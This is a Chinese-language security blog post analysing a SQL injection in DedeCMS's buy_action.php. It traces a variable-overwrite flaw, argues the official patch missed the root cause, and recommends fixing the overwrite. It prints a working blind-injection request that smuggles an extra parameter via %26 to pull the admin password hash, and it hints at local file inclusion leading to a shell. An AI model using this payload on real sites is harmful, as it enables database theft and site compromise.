0x00 前言 不可否认,官方应对安全 漏洞的能力以及这次发布的安全补丁也是十分的失败的! 大家再回来看看:  http://www.2cto.com/Article/201405/304272.html  (文章:   http://www.2cto.com/Article/201403/282443.html ) 分析,确实是很黄很暴力! 但:大家再看看,造成这次漏洞的原因是加密太简单?分析这个漏洞的人也是傻眼了吧?补丁是否能真正解决问题?下面我们来分析下看看。   0x01 漏洞分析   回头看buy_action.php 这个文件(修复版)。   代码 25行  

parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);

    foreach($mch_Post as $k => $v) $$k = $v;

 

      很明显,造成这次漏洞的原因是变更覆盖。   但官方修复却是 加强mchStrCode函数的加密强度。       我们再看调用:mchStrCode 的地方       同文件的 112 行  

$pr_encode = '';

    foreach($_REQUEST as $key => $val)

    {

        $pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val";

    }

    

    $pr_encode = str_replace('=', '', mchStrCode($pr_encode));

 

    傻了,这 $key 和 $val 都可以控制呀。。   如果可以直接传入   GLOBALS[cfg_dbprefix] 不就可以造成变量覆盖了吗?   但了解dede的人都知道,在文件:include/common.inc.php 有全局过滤 GLOBALS 开头键、值的过滤函数,绕过这个好像比较登天还要难吧!   但实际上,&$key=$val 这样的拼接,还可以值里输入 &a=x 这样的呀,解释后不就可以利用了么?       0x02 漏洞测试   此处是一个盲注,为了测试方便,我们直接修复执行语句的文件,打印出执行的语句:  

echo $this->queryString."<br>";



http://localhost/member/buy_action.php?



POST



pid=1&product=card&a=b%26GLOBALS[cfg_dbprefix]=dede_member_operation where mid=9999 or @`'` or (ascii(substring((select pwd from dede_admin limit 0,1),1,1))=97)#%26product=@`'`

 

    注意到 %26 即 &   DedeCMS某全版本通杀SQL注入(续) – 网站安全 – 自插图 然后点击购买并支付  
DedeCMS某全版本通杀SQL注入(续) – 网站安全 – 自插图1
  可以看到语句被成功地注入到查询中。   根据回应不同,我们可以盲注成 数据库中的数据。       0x03 漏洞深入分析   128行

$rs = $dsql->GetOne("SELECT * FROM `detest_payment` WHERE id='$paytype' ");

    require_once DEDEINC.'/payment/'.$rs['code'].'.php';

 

    如果覆盖变量 $paytype ,可以造成本地文件包含?通过包含文件是否就能拿shell了?   不难发现 parse_str 受GPC控制,利用条件也就是GPC OFF       测试之   DedeCMS某全版本通杀SQL注入(续) – 网站安全 – 自插图2 拿shell方法暂不研究了,有兴趣的可以继续。       0x04 总结   有时漏洞点一个,但利用方式很多,把主要造成漏洞的地方修复了,才是真正的修复,而不是看别人指那就修复那。   修复方案: 变量覆盖的地方。

    上一篇: Apache日志中嵌入php脚本的两种方法(在LFI中使用

    下一篇: 从Fuzzing到0day - 网站安全 - 自学php
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《DedeCMS某全版本通杀SQL注入(续) – 网站安全 – 自
   

还没有人抢沙发呢~